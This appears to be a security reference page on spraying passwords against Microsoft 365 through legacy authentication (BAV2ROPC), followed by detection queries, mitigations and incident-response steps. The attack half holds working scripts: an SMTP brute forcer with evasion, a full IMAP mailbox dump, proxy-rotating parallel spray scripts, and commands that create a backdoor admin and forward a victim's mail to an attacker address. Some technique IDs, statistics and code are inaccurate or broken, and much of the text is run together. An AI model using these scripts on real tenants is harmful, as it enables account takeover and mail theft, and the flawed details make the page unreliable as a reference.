| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-001 |
| MITRE ATT&CK v18.1 | T1110.003 - Brute Force: Password Spraying |
| Tactic | Credential Access |
| Platforms | Entra ID / M365 |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All Entra ID tenant versions; Exchange Online (all versions) |
| Patched In | N/A - Requires architectural mitigation (BAV2ROPC cannot be “patched”, only disabled) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: BAV2ROPC (Basic Authentication Version 2 Resource Owner Password Credentials) is a legacy authentication mechanism in Entra ID that converts basic authentication credentials into OAuth 2.0 access tokens transparently. This undocumented protection system allows applications using basic authentication (username/password) to obtain Entra ID tokens without requiring modern authentication protocols. Critically, BAV2ROPC bypasses Multi-Factor Authentication (MFA) enforcement, Conditional Access policies, and interactive authentication challenges, making it an ideal attack vector for credential-based assaults.
Attack Surface: BAV2ROPC primarily affects legacy email protocols (SMTP AUTH, POP3, IMAP4) and outdated mail clients that do not support OAuth 2.0. The vulnerability is tenant-level, affecting all users where legacy authentication has not been explicitly disabled. Between March 18 and April 7, 2025, sophisticated threat actors conducted a coordinated campaign exploiting BAV2ROPC, demonstrating 138% escalation in attack intensity and achieving 9,000+ suspicious login attempts in a single week.
Business Impact: Successful BAV2ROPC exploitation leads to complete mailbox compromise, data exfiltration, internal phishing campaigns, and lateral movement to privileged accounts. Unlike modern authentication flows, BAV2ROPC leaves minimal forensic evidence in interactive sign-in logs, complicating incident response. Real-world incidents show attackers using compromised accounts to dismiss additional login attempts, enabling mass compromise of subordinate user accounts.
Technical Context: BAV2ROPC attacks typically manifest as rapid-fire authentication attempts (6,444 attempts/day observed), originating from distributed IP infrastructure. Detection is difficult because BAV2ROPC generates non-interactive sign-in logs (marked as NonInteractiveUserSignInLogs) which are often overlooked during security monitoring. Threat actors exploit BAV2ROPC in phases: initial reconnaissance (low volume), sustained credential testing (medium volume), and brute force/spray campaigns (high volume, distributed).
NonInteractiveUserSignInLogs. Standard Conditional Access does not block BAV2ROPC.| Framework | Control / ID | Description |
|---|---|---|
| CIS Microsoft 365 Benchmark | 1.1.2 | Disable legacy authentication mechanisms; ensure MFA enforcement across all authentication protocols |
| DISA STIG | SI-2 | Information System Security Planning; disable deprecated authentication protocols |
| CISA SCuBA | EXO.01.04 | Disable Basic Authentication for Exchange protocols |
| NIST 800-53 | IA-2, IA-4 | Multi-factor authentication and user authentication; enforce modern authentication standards |
| GDPR | Art. 32 | Security of Processing; organizations must ensure authentication mechanisms meet contemporary security standards |
| DORA | Art. 9 | Protection and Prevention; critical entities must disable legacy authentication mechanisms |
| NIS2 | Art. 21 | Cyber Risk Management Measures; enforce modern authentication for identity infrastructure |
| ISO 27001 | A.9.2.1, A.9.2.3 | User registration; Management of Privileged Access Rights; enforce MFA and disable legacy auth |
| ISO 27005 | Risk Scenario | “Compromise of Administration Interface via Legacy Protocol”; inherent risk of basic authentication |
Supported Versions:
Prerequisites for Attack Success:
NonInteractiveUserSignInLogs or legacy client appsCheck if legacy authentication is enabled at tenant level:
# Connect to Exchange Online
Connect-ExchangeOnline
# Check tenant-wide authentication policy settings
Get-AuthenticationPolicy | Select-Object Name, AllowBasicAuthSmtp, AllowBasicAuthPop, AllowBasicAuthImap
# Check if modern authentication is enforced
Get-OrganizationConfig | Select-Object OAuth2ClientProfileEnabled
# Check if SMTP AUTH is globally disabled
Get-TransportRule | Where-Object { $_.Name -like "*SMTP*" } | Select-Object Name, Enabled
What to Look For:
AllowBasicAuthSmtp: $true – CRITICAL FINDING: SMTP AUTH via basic authentication is enabledAllowBasicAuthPop: $true – POP3 with basic auth is enabledAllowBasicAuthImap: $true – IMAP4 with basic auth is enabledOAuth2ClientProfileEnabled: $false – Modern OAuth 2.0 is not enforced$true, the tenant is vulnerable to BAV2ROPC attacksCheck for users with legacy auth overrides (per-mailbox settings):
# Get all mailboxes with POP/IMAP/SMTP enabled (legacy auth at user level)
Get-CASMailbox -Filter { PopEnabled -eq $true -or ImapEnabled -eq $true -or SmtpClientAuthenticationDisabled -eq $false } |
Select-Object UserPrincipalName, PopEnabled, ImapEnabled, SmtpClientAuthenticationDisabled
# If the result set is large (>50 mailboxes), legacy auth is widely enabled
What This Means:
Supported Versions: Entra ID 2019-2025, Exchange Online (all versions)
Objective: Obtain valid or commonly-used credentials (phishing, breach databases, password sprays)
Reconnaissance Command:
# Query O365 for valid usernames (requires legitimate access)
# Threat actors typically use breach datasets or conduct low-volume enumeration first
Get-Mailbox | Select-Object UserPrincipalName | Export-Csv valid_users.csv
What This Means:
OpSec & Evasion:
Objective: Attempt password authentication via SMTP protocol without MFA
Tool: Any SMTP client capable of basic authentication (Python smtplib, sendmail, custom tools)
Python Example (SMTP Brute Force):
#!/usr/bin/env python3
import smtplib
import sys
import time
def smtp_brute_force(target_user, password_list, smtp_host="smtp.office365.com", smtp_port=587):
"""
Brute force SMTP AUTH against Exchange Online
BAV2ROPC will convert basic auth to OAuth 2.0 transparently
"""
for password in password_list:
try:
server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
server.starttls() # TLS required
server.login(target_user, password)
print(f"[+] SUCCESS: {target_user}:{password}")
server.quit()
return True
except smtplib.SMTPAuthenticationError:
print(f"[-] FAILED: {target_user}:{password}")
server.quit()
time.sleep(0.5) # Rate limiting evasion
except smtplib.SMTPException as e:
print(f"[!] SMTP Error: {e}")
time.sleep(2)
except Exception as e:
print(f"[!] Connection error: {e}")
return False
# Read password list from file
with open("passwords.txt", "r") as f:
passwords = f.read().splitlines()
# Target user
target_user = "victim@company.onmicrosoft.com"
# Perform brute force
smtp_brute_force(target_user, passwords)
Expected Output (On Success):
[+] SUCCESS: victim@company.onmicrosoft.com:Welcome123
What This Means:
OpSec & Evasion:
Troubleshooting:
SMTPAuthenticationError: 535 5.7.139 Authentication unsuccessful
535 5.7.30 Basic authentication is not supported
References & Proofs:
Objective: Once credentials are confirmed, access full mailbox contents via IMAP or POP3
IMAP Example (IMAPClient Python Library):
#!/usr/bin/env python3
from imapclient import IMAPClient
import ssl
def imap_mailbox_access(username, password, imap_host="outlook.office365.com"):
"""
Access mailbox via IMAP (legacy basic auth)
BAV2ROPC converts credentials to OAuth tokens
"""
try:
# Connect via IMAP with TLS
ssl_context = ssl.create_default_context()
imap = IMAPClient(imap_host, ssl=True, ssl_context=ssl_context)
# Authenticate with basic auth (BAV2ROPC will intercept and convert)
imap.login(username, password)
print(f"[+] IMAP Login successful for {username}")
# Select INBOX
imap.select_folder("INBOX")
# Fetch all message UIDs
messages = imap.search(['ALL'])
print(f"[+] Found {len(messages)} messages in INBOX")
# Download all emails
for msg_id in messages:
response = imap.fetch(msg_id, ['RFC822'])
email_data = response[msg_id][b'RFC822']
print(f"[+] Downloaded message {msg_id}")
# Save to disk
with open(f"email_{msg_id}.eml", "wb") as f:
f.write(email_data)
imap.logout()
return True
except Exception as e:
print(f"[-] IMAP Error: {e}")
return False
# Attack
username = "victim@company.onmicrosoft.com"
password = "CompromisedPassword123"
imap_mailbox_access(username, password)
Expected Output:
[+] IMAP Login successful for victim@company.onmicrosoft.com
[+] Found 1,247 messages in INBOX
[+] Downloaded message 1
[+] Downloaded message 2
...
What This Means:
OpSec & Evasion:
Troubleshooting:
b'NO [CANNOT] LOGIN failed'
imaplib.IMAP4.error: IMAP4 response error: b'NO IMAP is currently disabled for this mailbox'
References & Proofs:
Supported Versions: Entra ID 2019-2025, Exchange Online (all versions)
This method follows the 3-phase attack pattern observed in the March-April 2025 Guardz campaign.
Objective: Identify valid usernames and test MFA status without triggering alarms
Attack Pattern:
Command (Custom Bash Script with Curl):
#!/bin/bash
# BAV2ROPC reconnaissance via SMTP AUTH
# Low-volume, distributed reconnaissance
USERLIST="users.txt" # One UPN per line
PASSWORD_LIST="common_passwords.txt" # 10-50 weak passwords
PROXY_LIST="proxies.txt" # One proxy per line
# Read user and password lists
users=$(cat $USERLIST | head -50) # Start with 50 users
passwords=$(cat $PASSWORD_LIST | head -10) # Test 10 passwords
for user in $users; do
for password in $passwords; do
# Randomize proxy
proxy=$(shuf -n1 $PROXY_LIST)
# Attempt SMTP AUTH via curl
response=$(curl -s --proxy $proxy \
--user "$user:$password" \
smtp://smtp.office365.com:587 \
-v 2>&1 | grep "235\|535")
if echo $response | grep -q "235"; then
echo "[+] SUCCESS: $user:$password" >> successful_logins.txt
else
echo "[-] FAILED: $user"
fi
# Rate limiting: 1 attempt per 20 seconds
sleep 20
done
done
What This Means:
OpSec & Evasion:
Objective: Accelerate attacks against identified vulnerable accounts; test multiple auth vectors
Attack Pattern:
Bash Script (Accelerated Spray):
#!/bin/bash
# Phase 2: Sustained password spray with expanded password list
VULNERABLE_USERS="users_without_mfa.txt"
EXPANDED_PASSWORDS="50_common_passwords.txt"
DISTRIBUTED_PROXIES="proxy_pool.txt"
# Parallel execution via GNU Parallel
cat $VULNERABLE_USERS | \
parallel --pipe --block 10M -j 50 \
'while read user; do
for password in $(cat $EXPANDED_PASSWORDS); do
proxy=$(shuf -n1 $DISTRIBUTED_PROXIES)
curl -s --proxy $proxy \
--user "$user:$password" \
smtp://smtp.office365.com:587 | grep -q "235" && echo "[+] $user:$password"
done
done'
What This Means:
Objective: Maximum pressure; full brute force on identified targets; distributed infrastructure
Attack Pattern:
Bash Script (Full Brute Force with Distributed IPs):
#!/bin/bash
# Phase 3: Peak brute force attack
# Rotate through 13+ IP addresses and SOCKS5 proxies
IP_ROTATION=("1.1.1.1" "1.1.1.2" "1.1.1.3" ... "1.1.1.13")
USERS="vulnerable_users.txt"
PASSWORD_DICT="10k_passwords.txt" # Large wordlist
parallel_job() {
local user=$1
local password=$2
local ip_index=$((RANDOM % 13))
local proxy=${IP_ROTATION[$ip_index]}
response=$(curl -s --proxy socks5://$proxy:1080 \
--user "$user:$password" \
smtp://smtp.office365.com:587 \
-w "\n%{http_code}\n" 2>&1 | tail -1)
if [[ $response == "235" ]]; then
echo "[+] COMPROMISED: $user:$password via IP $proxy" >> compromised.txt
fi
}
# Parallel brute force (50 concurrent jobs)
export -f parallel_job
export IP_ROTATION PASSWORD_DICT
cat $USERS | parallel -j 50 --colsep ' ' \
'cat $PASSWORD_DICT | parallel parallel_job {} {}'
Attack Intensity Chart (Real-World Campaign):
March 18-20 (Recon): 178/hour
March 21 - April 3 (Test): 534/hour
April 4-5 (Peak): 6,444/hour (+138% increase)
What This Means:
Objective: Once credentials are compromised, attackers pivot to full account control
Real-World Incident Pattern:
Commands (Post-Exploitation):
# Post-compromise: Create backdoor admin account
$SecurePassword = ConvertTo-SecureString -AsPlainText "P@ssw0rd123!" -Force
New-AzADUser -DisplayName "SecureAdmin" -UserPrincipalName securemin@company.onmicrosoft.com `
-Password $SecurePassword
Add-AzADGroupMember -ObjectId (Get-AzADGroup -SearchString "Global Administrators").Id `
-MemberObjectId (Get-AzADUser -UserPrincipalName securemin@company.onmicrosoft.com).Id
# Configure mailbox forwarding (exfiltrate all incoming mail)
Set-Mailbox -Identity victim@company.onmicrosoft.com -ForwardingAddress attacker@external.com
OpSec & Evasion:
References & Proofs:
Test ID: T1110.003-001 (Password Spraying)
Supported Versions: Entra ID 2019-2025
PowerShell Simulation (Safe Lab Environment):
# WARNING: Only run in isolated lab with explicit RoE authorization
# Simulate BAV2ROPC brute force attempt (using test credentials)
Invoke-AtomicTest T1110.003 -TestNumbers 1
# Expected output:
# [+] Testing T1110.003 (Brute Force - Password Spraying)
# [+] Executing spray attack against test user
# [*] 50 failed attempts detected
Cleanup:
Invoke-AtomicTest T1110.003 -Cleanup
Reference: Atomic Red Team Library - T1110.003
Rule Configuration:
SigninLogsUserAgent, ResultType, Location, ClientAppUsedKQL Query:
SigninLogs
| where TimeGenerated > ago(5m)
| where UserAgent contains "BAV2ROPC" or UserAgent contains "Outlook-iOS" or UserAgent contains "Outlook-Android"
| where ResultType != 0 // Failed auth attempts
| where ClientAppUsed in ("SMTP", "IMAP", "POP", "Other clients (legacy)")
| summarize
FailedAttemptCount = count(),
UniqueUsers = dcount(UserPrincipalName),
UniqueIPs = dcount(IPAddress),
Countries = make_set(LocationDetails.countryOrRegion)
by IPAddress, ClientAppUsed, UserAgent
| where FailedAttemptCount > 10
| project IPAddress, ClientAppUsed, FailedAttemptCount, UniqueUsers, UniqueIPs, Countries
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect BAV2ROPC Legacy Auth AbuseHigh5 minutes30 minutesEnabled (group by UserPrincipalName, ClientAppUsed)KQL Query:
SigninLogs
| where TimeGenerated > ago(10m)
| where ClientAppUsed in ("SMTP", "IMAP", "POP", "Other clients (legacy)")
| where ResultType != 0 // Failed attempts
| summarize
TotalFailures = count(),
UniqueUsers = dcount(UserPrincipalName),
UniquePasswords = dcount(ResourceId), // Proxy for unique password attempts
TimeSpan = max(TimeGenerated) - min(TimeGenerated)
by IPAddress, bin(TimeGenerated, 1m)
| where TotalFailures > 50 and TimeSpan < 5m
| project IPAddress, TotalFailures, UniqueUsers, TimeSpan
Manual Configuration Steps (PowerShell):
# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "SecurityGroup"
$WorkspaceName = "SentinelWorkspace"
# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Rapid SMTP/IMAP/POP Auth Attempts (Spray Pattern)" `
-Query @"
SigninLogs
| where TimeGenerated > ago(10m)
| where ClientAppUsed in ("SMTP", "IMAP", "POP")
| where ResultType != 0
| summarize TotalFailures = count() by IPAddress, bin(TimeGenerated, 1m)
| where TotalFailures > 50
"@ `
-Severity "High" `
-Enabled $true `
-Frequency "PT5M"
References:
Note: BAV2ROPC is cloud-only, so on-premises Event Viewer logs do not directly capture these attacks. However, if a compromised account is used to access on-premises Exchange Server or Active Directory, the following event IDs may be relevant:
Event ID: 4768 (Kerberos Authentication Ticket Granted)
Event ID: 4625 (Failed Logon)
SubStatus = 0xC0000071 (username/password invalid), LogonType = 10 (RemoteInteractive)Manual Configuration Steps (Group Policy):
gpmc.msc)Success and FailureSuccess and Failuregpupdate /force on target machinesManual Configuration Steps (Server 2022+):
# Use AuditPol.exe directly
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /get /subcategory:"Kerberos Authentication Service" # Verify
Alert Name: Suspicious sign-in activity from unfamiliar location using legacy client
Manual Configuration Steps (Enable Defender for Cloud):
ONON (covers both on-premises and cloud)# Connect to Compliance Center
Connect-ExchangeOnline
# Search for emails sent via SMTP (legacy)
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Send" `
-Filter @{
"ClientInfoString" = "*Hub Transport*" # SMTP submissions show Hub Transport
} |
Where-Object {
$_.AuditData -like "*IsClientSubmission*true*"
} |
Select-Object UserIds, CreationDate, Operations, SourceIPAddress |
Export-Csv -Path "smtp_sends.csv"
What to Look For:
Manual Configuration Steps (Enable Unified Audit Log):
compliance.microsoft.com)Send (Mail)Action 1: Disable Legacy Authentication at Tenant Level
Applies To Versions: All Entra ID tenants, Exchange Online
Manual Steps (Microsoft 365 Admin Center):
admin.microsoft.com)Manual Steps (PowerShell - Exchange Online):
# Connect to Exchange Online
Connect-ExchangeOnline
# Disable legacy authentication globally
Set-OrganizationConfig -OAuth2ClientProfileEnabled $true
# Disable SMTP AUTH for all mailboxes
Get-Mailbox | Set-CASMailbox -SmtpClientAuthenticationDisabled $true
# Disable IMAP and POP for all mailboxes
Get-Mailbox | Set-CASMailbox -ImapEnabled $false -PopEnabled $false -MAPIEnabled $false
# Verify settings
Get-OrganizationConfig | Select-Object OAuth2ClientProfileEnabled
Get-CASMailbox | Select-Object UserPrincipalName, ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled
Validation Command:
# Verify legacy auth is disabled
Get-OrganizationConfig | Select-Object OAuth2ClientProfileEnabled
# Should return: OAuth2ClientProfileEnabled : True
# Check if SMTP AUTH is disabled for all users
Get-CASMailbox | Where-Object { $_.SmtpClientAuthenticationDisabled -eq $false } | Measure-Object
# Should return: Count: 0 (no users with SMTP AUTH enabled)
Expected Output (If Secure):
OAuth2ClientProfileEnabled : True
Count: 0
Action 2: Enforce Conditional Access Policy to Block Legacy Apps
Manual Steps (Azure Portal):
Block Legacy Authentication ClientsAll usersAll cloud appsExchange ActiveSync clients, Other clients, Mobile apps and desktop clientsBlock accessOnManual Steps (PowerShell):
# Connect to Entra ID
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
# Create Conditional Access policy to block legacy auth
$conditions = @{
"clientAppTypes" = @("exchangeActiveSync", "other", "mobileAppsAndDesktopClients")
}
$grantControls = @{
"operator" = "OR"
"builtInControls" = @("block")
}
$policy = @{
"displayName" = "Block Legacy Authentication"
"conditions" = $conditions
"grantControls" = $grantControls
"state" = "on"
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $policy
Action 3: Create Authentication Policy to Block Legacy Protocols Per-User
Manual Steps (PowerShell):
# Create authentication policy
New-AuthenticationPolicy -Name "Block Basic Auth" `
-BlockLegacyAuthenticationProtocols $true
# Apply policy to all users
Get-User | Set-AuthenticationPolicyAssignment -AuthenticationPolicy "Block Basic Auth" -Force
# Alternatively, apply to specific group
$users = Get-AzureADGroupMember -ObjectId "GroupID"
$users | ForEach-Object {
Set-User -Identity $_.UserPrincipalName -AuthenticationPolicy "Block Basic Auth"
}
# Verify policy is applied
Get-AuthenticationPolicy | Select-Object Name, BlockLegacyAuthenticationProtocols
Action 4: Enforce MFA Organization-Wide
Manual Steps (Azure Portal):
Require MFA for All UsersAll usersAll cloud appsAll client appsRequire multi-factor authenticationOnAction 5: Monitor & Alert on Legacy Protocol Usage
Manual Steps (Configure Alert in Sentinel):
Action 1: Disable SMTP AUTH Specifically (Phased Approach)
Microsoft has announced SMTP AUTH deprecation with timeline:
To proactively disable:
# Disable SMTP AUTH per-user
Get-Mailbox | Set-CASMailbox -SmtpClientAuthenticationDisabled $true
# Or use Authentication Policy
Set-AuthenticationPolicy -Identity "BlockBasicAuth" -AllowBasicAuthSmtp:$false
Action 2: Implement Zero Trust Access Controls
Conditional Access - Require Device Compliance:
# Require compliant device for all users
$policy = @{
"displayName" = "Require Device Compliance"
"conditions" = @{
"users" = @{ "includeUsers" = @("All") }
"applications" = @{ "includeApplications" = @("All") }
}
"grantControls" = @{
"operator" = "OR"
"builtInControls" = @("compliantDevice", "domainJoinedDevice")
}
"state" = "on"
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $policy
RBAC Hardening - Remove Unnecessary Roles:
# Identify users with Legacy auth permissions
Get-AzRoleAssignment -RoleDefinitionName "Owner" |
Where-Object { $_.ObjectType -eq "User" } |
Select-Object DisplayName, SignInName, RoleDefinitionName
# Remove unnecessary Owner roles
Remove-AzRoleAssignment -ObjectId "UserObjectID" -RoleDefinitionName "Owner" -Scope "/subscriptions/SubscriptionID"
Entra ID Sign-In Logs:
BAV2ROPC, Outlook-iOS, Outlook-Android, Mozilla/5.0 (compatible; MSALClientAppUsed: SMTP, IMAP, POP, Other clients (legacy)ResultType: 0 (success) combined with 50126 (Invalid password) in preceding eventsLocation: Geo-impossible or high-risk country compared to user’s normal locationConditionalAccessStatus: notApplied (legacy auth bypasses Conditional Access)Exchange Online Logs:
ClientInfoString contains Hub Transport (SMTP relay)Send operations outside business hoursIsClientSubmission: true (third-party client authentication)MailboxOwnerUPN differs from UserId (mailbox forwarding or delegation abuse)Network IOCs:
smtp.office365.com, outlook.office365.com (port 143/110)Disk (On-Premises):
C:\Program Files\Microsoft\Exchange Server\V15\TransportRoles\Logs\FrontEnd\SmtpReceive\C:\Windows\System32\winevt\Logs\Security.evtxCloud (Entra ID/Exchange Online):
SigninLogs table in Azure Sentinel (30-day retention)MailboxEvents in Unified Audit Log (90-day retention)SentOperations in Unified Audit Log (forwarding rules, delegates)Memory:
procdump to capture suspect processes1. Immediate Isolation:
# Disable compromised user account immediately
Disable-AzureADUser -ObjectId "user@company.onmicrosoft.com"
# Revoke all sign-in sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "user@company.onmicrosoft.com"
# Reset password (force re-authentication)
$SecurePassword = ConvertTo-SecureString -AsPlainText "NewP@ssw0rd!23456" -Force
Set-AzureADUserPassword -ObjectId "user@company.onmicrosoft.com" -Password $SecurePassword -EnforceChangePasswordPolicy $true
2. Collect Evidence:
# Export all sign-in logs for compromised user
Connect-ExchangeOnline
Search-UnifiedAuditLog -UserIds "user@company.onmicrosoft.com" -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) -ResultSize 5000 |
Export-Csv -Path "C:\Evidence\audit_logs.csv"
# Export mailbox forwarding rules
Get-InboxRule -Mailbox "user@company.onmicrosoft.com" |
Select-Object Identity, Enabled, ForwardTo, RedirectTo |
Export-Csv -Path "C:\Evidence\forwarding_rules.csv"
# Export mailbox delegates
Get-MailboxPermission -Identity "user@company.onmicrosoft.com" -User "*" |
Where-Object { $_.AccessRights -ne "None" } |
Export-Csv -Path "C:\Evidence\delegates.csv"
3. Remediate:
# Remove malicious forwarding rules
Get-InboxRule -Mailbox "user@company.onmicrosoft.com" |
Where-Object { $_.ForwardTo -like "*external*" } |
Remove-InboxRule
# Remove unauthorized delegates
Remove-MailboxPermission -Identity "user@company.onmicrosoft.com" -User "attacker@external.com" -AccessRights FullAccess -Confirm:$false
# Audit all global admin accounts for unauthorized changes
Get-AzureADDirectoryRoleMembers -ObjectId (Get-AzureADDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }).ObjectId |
Select-Object UserPrincipalName, CreatedDateTime |
Export-Csv -Path "C:\Evidence\global_admins.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1110.003] Brute Force: Password Spraying | Attacker obtains credentials via breach database or sprays common passwords |
| 2 | Credential Access | [REALWORLD-001] BAV2ROPC Attack Chain | Attacker authenticates via legacy SMTP/IMAP/POP, bypassing MFA |
| 3 | Lateral Movement | [T1087.002] Account Discovery | Attacker reviews emails to identify privileged users and service accounts |
| 4 | Privilege Escalation | [T1098] Account Manipulation | Attacker modifies user attributes or creates backdoor admin accounts |
| 5 | Persistence | [T1040] Forwarding Rule Configuration | Attacker configures mail forwarding to external account for persistent access |
| 6 | Impact | [T1537] Data Staged; [T1020] Automated Data Exfiltration | Attacker exfiltrates mailbox contents and sensitive communications |
BAV2ROPC user agent; MFA was bypassedBAV2ROPC user agentBAV2ROPC represents a critical architectural vulnerability in Entra ID legacy authentication support. Unlike traditional authentication attacks, BAV2ROPC is entirely legitimate from Microsoft’s perspective – it’s a compatibility layer designed to support outdated applications. However, this design choice creates an MFA bypass mechanism that adversaries exploit systematically.
Key Takeaways:
NonInteractiveUserSignInLogsOther clients (legacy) category entirelyOrganizations still supporting legacy authentication protocols after April 30, 2026 (SMTP AUTH deadline) will remain vulnerable to BAV2ROPC attacks indefinitely. Migration to OAuth 2.0 is not optional – it is a business and security imperative.